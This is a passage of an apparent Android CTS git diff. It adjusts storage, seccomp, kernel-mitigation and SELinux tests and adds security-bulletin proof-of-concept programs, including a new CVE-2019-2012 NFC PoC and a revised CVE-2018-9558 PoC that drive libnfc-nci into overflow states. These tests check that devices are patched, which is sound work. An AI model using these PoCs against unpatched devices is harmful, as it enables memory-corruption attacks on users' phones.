     // Tag as a CTS artifact
-    test_suites: ["device-tests", "mts", "cts"],
+    test_suites: ["general-tests", "mts", "cts"],
 }
 android_test_helper_app {
     name: "CtsScopedStorageTestAppSystemGallery30BypassDB",
@@ -125,7 +125,7 @@
     min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
-    test_suites: ["device-tests", "mts", "cts"],
+    test_suites: ["general-tests", "mts", "cts"],
 }
 
 android_test_helper_app {
@@ -146,7 +146,7 @@
     min_sdk_version: "30",
 }
 
-android_test {
+android_test_helper_app {
     name: "ScopedStorageTest",
     manifest: "AndroidManifest.xml",
     srcs: ["src/**/*.java"],
@@ -164,7 +164,7 @@
     ]
 }
 
-android_test {
+android_test_helper_app {
     name: "LegacyStorageTest",
     manifest: "legacy/AndroidManifest.xml",
     srcs: ["legacy/src/**/*.java"],
@@ -246,7 +246,7 @@
     srcs: ["device/**/*.java"],
     static_libs: ["truth-prebuilt", "cts-scopedstorage-lib",],
     compile_multilib: "both",
-    test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+    test_suites: ["general-tests", "mts-mediaprovider", "cts"],
     sdk_version: "test_current",
     target_sdk_version: "31",
     min_sdk_version: "30",
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
index ad480e2..5897386 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
@@ -19,7 +19,6 @@
 import static android.app.AppOpsManager.permissionToOp;
 import static android.os.ParcelFileDescriptor.MODE_CREATE;
 import static android.os.ParcelFileDescriptor.MODE_READ_WRITE;
-import static android.os.SystemProperties.getBoolean;
 import static android.scopedstorage.cts.lib.RedactionTestHelper.assertExifMetadataMatch;
 import static android.scopedstorage.cts.lib.RedactionTestHelper.assertExifMetadataMismatch;
 import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadata;
@@ -103,6 +102,7 @@
 import static android.system.OsConstants.W_OK;
 
 import static androidx.test.InstrumentationRegistry.getContext;
+import static androidx.test.InstrumentationRegistry.getTargetContext;
 
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
@@ -910,7 +910,7 @@
             try (ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
                  ParcelFileDescriptor readPfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE)) {
                 assertRWR(readPfd, writePfd);
-                assertLowerFsFdWithPassthrough(writePfd);
+                assertLowerFsFdWithPassthrough(file.getPath(), writePfd);
             }
         } finally {
             file.delete();
@@ -946,7 +946,7 @@
             try (ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw");
                  ParcelFileDescriptor writePfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE)) {
                 assertRWR(readPfd, writePfd);
-                assertLowerFsFdWithPassthrough(readPfd);
+                assertLowerFsFdWithPassthrough(file.getPath(), readPfd);
             }
         } finally {
             file.delete();
@@ -966,8 +966,8 @@
                  ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw")) {
                 assertRWR(readPfd, writePfd);
                 assertRWR(writePfd, readPfd); // Can read on 'w' only pfd
-                assertLowerFsFdWithPassthrough(writePfd);
-                assertLowerFsFdWithPassthrough(readPfd);
+                assertLowerFsFdWithPassthrough(file.getPath(), writePfd);
+                assertLowerFsFdWithPassthrough(file.getPath(), readPfd);
             }
         } finally {
             file.delete();
@@ -991,7 +991,7 @@
                 writePfd.close();
 
                 assertRWR(readPfd, writePfdDup);
-                assertLowerFsFdWithPassthrough(writePfdDup);
+                assertLowerFsFdWithPassthrough(file.getPath(), writePfdDup);
             }
         } finally {
             file.delete();
@@ -3177,8 +3177,13 @@
         assertStartsWith(path, prefix);
     }
 
-    private void assertLowerFsFdWithPassthrough(ParcelFileDescriptor pfd) throws Exception {
-        if (getBoolean("persist.sys.fuse.passthrough.enable", false)) {
+    private void assertLowerFsFdWithPassthrough(final String path, ParcelFileDescriptor pfd)
+            throws Exception {
+        final ContentResolver resolver = getTargetContext().getContentResolver();
+        final Bundle res = resolver.call(MediaStore.AUTHORITY, "uses_fuse_passthrough", path, null);
+        boolean passthroughEnabled = res.getBoolean("uses_fuse_passthrough_result");
+
+        if (passthroughEnabled) {
             assertUpperFsFd(pfd);
         } else {
             assertLowerFsFd(pfd);
diff --git a/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java b/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java
index 9f56aa09..354f260 100644
--- a/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java
+++ b/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java
@@ -70,7 +70,7 @@
 
     // The service start can take a long time, because seccomp denials will
     // cause process crashes and dumps, which we waitpid() for sequentially.
-    private static final int SERVICE_START_TIMEOUT_MS = 120000;
+    private static final int SERVICE_START_TIMEOUT_MS = 180000;
 
     private JSONObject mAllowedSyscallMap;
     private JSONObject mBlockedSyscallMap;
diff --git a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
index ff6a399..814363d 100644
--- a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
+++ b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
@@ -187,7 +187,8 @@
 
         if (mitigationInfoMeltdown != null && mitigationInfoSpectreV2 != null &&
             !mitigationInfoMeltdown.contains("Vulnerable") &&
-            !mitigationInfoSpectreV2.contains("Vulnerable"))
+            (!mitigationInfoSpectreV2.contains("Vulnerable") ||
+              mitigationInfoSpectreV2.equals("Vulnerable: Unprivileged eBPF enabled\n")))
                 return "VULN_SAFE";
 
         for (String nodeInfo : pathList) {
@@ -206,7 +207,7 @@
                     break;
                 }
                 /* Samsung Exynos SoCs */
-                else if (line.startsWith("EXYNOS")) {
+                else if (line.startsWith("EXYNOS") || line.startsWith("S5E")) {
                     hardware = line;
                     break;
                 }
@@ -233,56 +234,58 @@
         put("EXYNOS7870", null);
         put("EXYNOS7880", null);
         put("EXYNOS7570", null);
-        put("EXYNOS7872", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("EXYNOS7885", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("EXYNOS9610", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("Kirin980", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("Kirin970", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
+        put("EXYNOS7872", null);
+        put("EXYNOS7885", null);
+        put("EXYNOS9610", null);
+        put("S5E8825", null);
+        put("S5E9925", null);
+        put("Kirin980", null);
+        put("Kirin970", null);
         put("Kirin810", null);
-        put("Kirin710", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6889Z/CZA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6889Z/CIZA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("mt6873", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6853V/TZA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6853V/TNZA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6833V/ZA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6833V/NZA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6833V/TZA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6833V/TNZA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6833V/MZA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6833V/MNZA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6877V/ZA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6877V/NZA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6877V/TZA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6877V/TNZA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6768V/WA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6768V/CA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6768V/WB", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6768V/CB", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6767V/WA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6767V/CA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6767V/WB", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6767V/CB", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6769V/WA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6769V/CA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6769V/WB", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6769V/CB", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6769V/WT", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6769V/CT", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6769V/WU", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6769V/CU", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6769V/WZ", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6769V/CZ", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6769V/WY", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("MT6769V/CY", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("SDMMAGPIE", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("SM6150", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("SM7150", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
+        put("Kirin710", null);
+        put("MT6889Z/CZA", null);
+        put("MT6889Z/CIZA", null);
+        put("mt6873", null);
+        put("MT6853V/TZA", null);
+        put("MT6853V/TNZA", null);
+        put("MT6833V/ZA", null);
+        put("MT6833V/NZA", null);
+        put("MT6833V/TZA", null);
+        put("MT6833V/TNZA", null);
+        put("MT6833V/MZA", null);
+        put("MT6833V/MNZA", null);
+        put("MT6877V/ZA", null);
+        put("MT6877V/NZA", null);
+        put("MT6877V/TZA", null);
+        put("MT6877V/TNZA", null);
+        put("MT6768V/WA", null);
+        put("MT6768V/CA", null);
+        put("MT6768V/WB", null);
+        put("MT6768V/CB", null);
+        put("MT6767V/WA", null);
+        put("MT6767V/CA", null);
+        put("MT6767V/WB", null);
+        put("MT6767V/CB", null);
+        put("MT6769V/WA", null);
+        put("MT6769V/CA", null);
+        put("MT6769V/WB", null);
+        put("MT6769V/CB", null);
+        put("MT6769V/WT", null);
+        put("MT6769V/CT", null);
+        put("MT6769V/WU", null);
+        put("MT6769V/CU", null);
+        put("MT6769V/WZ", null);
+        put("MT6769V/CZ", null);
+        put("MT6769V/WY", null);
+        put("MT6769V/CY", null);
+        put("SDMMAGPIE", null);
+        put("SM6150", null);
+        put("SM7150", null);
         put("SM7250", null);
         put("LITO", null);
         put("LAGOON", null);
-        put("SM8150", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("SM8150P", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
+        put("SM8150", null);
+        put("SM8150P", null);
         put("SM8250", null);
         put("KONA", null);
         put("SDM429", null);
@@ -290,13 +293,12 @@
         put("QM215", null);
         put("ATOLL", null);
         put("ATOLL-AB", null);
-        put("SDM660", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("BENGAL", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("KHAJE", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("BENGAL-IOT", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("BENGALP-IOT", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
-        put("DEFAULT", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y",
-            "CONFIG_UNMAP_KERNEL_AT_EL0=y"});
+        put("SDM660", null);
+        put("BENGAL", null);
+        put("KHAJE", null);
+        put("BENGAL-IOT", null);
+        put("BENGALP-IOT", null);
+        put("DEFAULT", new String[]{"CONFIG_UNMAP_KERNEL_AT_EL0=y"});
     }};
 
     private String[] lookupMitigations() throws Exception {
diff --git a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
index 039867b..573035c 100644
--- a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
+++ b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
@@ -983,6 +983,17 @@
     }
 
     /**
+     * Tests that all types in /sys/fs/bpf have the bpffs_type attribute.
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testBpffsTypeViolators() throws Exception {
+        assertSepolicyTests("TestBpffsTypeViolations", "/sepolicy_tests",
+                PropertyUtil.isVendorApiLevelNewerThan(mDevice, 33) /* includeVendorSepolicy */);
+    }
+
+    /**
      * Tests that all types in /proc have the proc_type attribute.
      *
      * @throws Exception
diff --git a/hostsidetests/securitybulletin/Android.bp b/hostsidetests/securitybulletin/Android.bp
index d3e6ea7..7770ebd 100644
--- a/hostsidetests/securitybulletin/Android.bp
+++ b/hostsidetests/securitybulletin/Android.bp
@@ -29,9 +29,10 @@
     ],
     // Must match the package name in CtsTestCaseList.mk
     libs: [
-        "cts-tradefed",
-        "tradefed",
         "compatibility-host-util",
+        "cts-tradefed",
+        "sts-host-util",
+        "tradefed",
     ],
 }
 
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0034.ivf b/hostsidetests/securitybulletin/res/cve_2020_0034.ivf
new file mode 100644
index 0000000..d03c246
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0034.ivf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0481.txt b/hostsidetests/securitybulletin/res/cve_2021_0481.txt
deleted file mode 100644
index f8d64e2c..0000000
--- a/hostsidetests/securitybulletin/res/cve_2021_0481.txt
+++ /dev/null
@@ -1 +0,0 @@
-This is cve_2021-0481.txt
diff --git a/hostsidetests/securitybulletin/res/cve_2021_39664 b/hostsidetests/securitybulletin/res/cve_2021_39664
new file mode 100644
index 0000000..21f7d24
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_39664
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2021_39804.heif b/hostsidetests/securitybulletin/res/cve_2021_39804.heif
new file mode 100644
index 0000000..1f95af0
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_39804.heif
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
index 78dcfcf..dedbaf9 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
@@ -159,7 +159,7 @@
   return NULL;
 }
 
-int main() {
+int main(void) {
   int i, ret;
   time_t test_started = start_timer();
   struct kgsl_drawctxt_create kdc = {0, 0};
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/poc.c
index d222a72..4f91d41 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/poc.c
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/poc.c
@@ -41,7 +41,7 @@
 
 struct nvif_ioctl_v0 s_nvif;
 
-int main() {
+int main(void) {
   int ret;
 
   dev_fd = open(DEV, O_RDONLY);
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/poc.c
index 5ed3e9b..c911439 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/poc.c
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/poc.c
@@ -181,7 +181,7 @@
   ioctl(g_ion_fd, ION_IOC_FREE, &para);
 }
 
-int main() {
+int main(void) {
   if (open_driver() < 0) {
     return -1;
   }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp
index e20c0f2..8494e2c 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -23,6 +23,16 @@
 #define INITIAL_VALUE 0xBE
 #define NUM_BYTES 1
 
+bool isTestInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int signum, siginfo_t *info, void *context) {
+    if (isTestInProgress && info->si_signo == SIGABRT) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    exit(EXIT_FAILURE);
+}
+
 extern tRW_CB rw_cb;
 void rw_init(void);
 void rw_t2t_handle_rsp(uint8_t *p_data);
@@ -33,18 +43,32 @@
 }
 
 int main() {
-  tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t;
-  rw_init();
-  rw_cb.p_cback = &poc_cback;
-  p_t2t->state = RW_T2T_STATE_DETECT_TLV;
-  p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV;
-  p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE;
-  p_t2t->found_tlv = TAG_LOCK_CTRL_TLV;
-  p_t2t->bytes_count = NUM_BYTES;
-  p_t2t->tlv_value[1] = UINT8_MAX;
-  uint8_t *base_ptr = (uint8_t *)(p_t2t->lockbyte + RW_T1T_MAX_LOCK_BYTES);
-  memset((void *)base_ptr, INITIAL_VALUE, sizeof(tRW_T1T_LOCK));
-  uint8_t data[T2T_READ_DATA_LEN];
-  rw_t2t_handle_rsp(data);
-  return EXIT_SUCCESS;
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigabrt_handler;
+    sigaction(SIGABRT, &new_action, &old_action);
+
+    tNFC_ACTIVATE_DEVT p_activate_params = {};
+    p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+    p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+    RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+    FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+    tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t;
+    rw_init();
+    rw_cb.p_cback = &poc_cback;
+    p_t2t->state = RW_T2T_STATE_DETECT_TLV;
+    p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV;
+    p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE;
+    p_t2t->found_tlv = TAG_LOCK_CTRL_TLV;
+    p_t2t->bytes_count = NUM_BYTES;
+    p_t2t->tlv_value[1] = UINT8_MAX;
+    p_t2t->p_cur_cmd_buf = (NFC_HDR *)GKI_getpoolbuf(NFC_RW_POOL_ID);
+    uint8_t *base_ptr = (uint8_t *)(p_t2t->lockbyte + RW_T1T_MAX_LOCK_BYTES);
+    memset((void *)base_ptr, INITIAL_VALUE, sizeof(tRW_T1T_LOCK));
+    uint8_t data[T2T_READ_DATA_LEN];
+    isTestInProgress = true;
+    rw_t2t_handle_rsp(data);
+    isTestInProgress = false;
+    return EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp
similarity index 64%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp
index bcbf54f..78f51bd 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp
@@ -20,7 +20,23 @@
 }
 
 cc_test {
-    name: "CVE-2020-29368",
+    name: "CVE-2019-2012",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    compile_multilib: "64",
+    include_dirs: [
+        "system/nfc/src/nfc/include",
+        "system/nfc/src/include/",
+        "system/nfc/src/gki/common/",
+        "system/nfc/src/gki/ulinux",
+    ],
+    shared_libs: [
+        "libnfc-nci",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp
new file mode 100644
index 0000000..97556ba
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp
@@ -0,0 +1,175 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <stdlib.h>
+#include <string.h>
+#include <tags_defs.h>
+
+#include "../includes/common.h"
+
+#define T3T_MSG_FELICALITE_MC_OFFSET 0x01
+
+bool testInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+    if (testInProgress && info->si_signo == SIGSEGV) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    exit (EXIT_FAILURE);
+}
+
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+tNFC_CONN *p_data;
+void rw_init(void);
+tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN],
+        uint8_t mrti_check, uint8_t mrti_update);
+
+void *allocate_memory(size_t size) {
+    void *ptr = malloc(size);
+    if (ptr) {
+        memset(ptr, 0x0, size);
+    }
+    return ptr;
+}
+
+/* States */
+enum {
+    RW_T3T_STATE_NOT_ACTIVATED, RW_T3T_STATE_IDLE, RW_T3T_STATE_COMMAND_PENDING
+};
+
+/* Enumeration of API commands */
+enum {
+    RW_T3T_CMD_DETECT_NDEF,
+    RW_T3T_CMD_CHECK_NDEF,
+    RW_T3T_CMD_UPDATE_NDEF,
+    RW_T3T_CMD_CHECK,
+    RW_T3T_CMD_UPDATE,
+    RW_T3T_CMD_SEND_RAW_FRAME,
+    RW_T3T_CMD_GET_SYSTEM_CODES,
+    RW_T3T_CMD_FORMAT,
+    RW_T3T_CMD_SET_READ_ONLY_SOFT,
+    RW_T3T_CMD_SET_READ_ONLY_HARD,
+    RW_T3T_CMD_MAX
+};
+
+/* Sub-states */
+enum {
+    /* Sub states for formatting Felica-Lite */
+    RW_T3T_FMT_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+     formatting) */
+    RW_T3T_FMT_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+     block-read to complete */
+    RW_T3T_FMT_SST_UPDATE_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+     block-write to complete */
+    RW_T3T_FMT_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+     to complete */
+    /* Sub states for setting Felica-Lite read only */
+    RW_T3T_SRO_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+     setting read only) */
+    RW_T3T_SRO_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+     to complete */
+    RW_T3T_SRO_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+     block-read to complete */
+    RW_T3T_SRO_SST_UPDATE_MC_BLK /* Waiting for Felica-Lite MC (MemoryControl)
+     block-write to complete */
+};
+
+enum {
+    P_MC_VAL = !T3T_MSG_FELICALITE_MC_OFFSET
+};
+
+void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
+    (void) event;
+    (void) p_rw_data;
+}
+
+void GKI_freebuf(void* p_buf __attribute__((unused))) {
+}
+
+void GKI_start_timer(uint8_t, int32_t, bool) {
+}
+
+void GKI_stop_timer(uint8_t) {
+}
+
+void exit_handler(void) {
+    if (p_data) {
+        if (p_data->data.p_data) {
+            free(p_data->data.p_data);
+            p_data->data.p_data = nullptr;
+        }
+        free(p_data);
+        p_data = nullptr;
+    }
+}
+
+int main() {
+    atexit(exit_handler);
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigsegv_handler;
+    sigaction(SIGSEGV, &new_action, &old_action);
+
+    tNFC_ACTIVATE_DEVT p_activate_params = { };
+    p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+    p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+    RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+    FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+    tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t;
+    GKI_init();
+    rw_init();
+
+    rw_cb.p_cback = &poc_cback;
+    uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
+    uint8_t mrti_check = 1, mrti_update = 1;
+    FAIL_CHECK(rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) == NFC_STATUS_OK);
+
+    p_data = (tNFC_CONN *) allocate_memory(sizeof(tNFC_CONN));
+    FAIL_CHECK(p_data);
+
+    p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 4);
+    FAIL_CHECK(p_data->data.p_data);
+
+    p_data->status = NFC_STATUS_OK;
+    p_t3t->cur_cmd = RW_T3T_CMD_FORMAT;
+    p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
+    p_t3t->rw_substate = RW_T3T_FMT_SST_CHECK_MC_BLK;
+    NFC_HDR *p_msg = (p_data->data).p_data;
+    p_msg->len = T3T_MSG_RSP_COMMON_HDR_LEN;
+    uint8_t *p_t3t_rsp = (uint8_t *) (p_msg + 1) + (p_msg->offset + 1);
+    p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP;
+    p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK;
+    uint8_t *p_mc = &p_t3t_rsp[T3T_MSG_RSP_OFFSET_CHECK_DATA];
+    p_mc[T3T_MSG_FELICALITE_MC_OFFSET_SYS_OP] = P_MC_VAL;
+    tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+    tNFC_CONN_EVT event = NFC_DATA_CEVT;
+    memcpy(p_t3t->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM],
+            NCI_NFCID2_LEN);
+
+    testInProgress = true;
+    p_cb->p_cback(0, event, p_data);
+    testInProgress = false;
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/Android.bp
similarity index 65%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/Android.bp
index bcbf54f..5dac7f7a 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -20,7 +20,19 @@
 }
 
 cc_test {
-    name: "CVE-2020-29368",
+    name: "CVE-2019-2017",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+    srcs: [
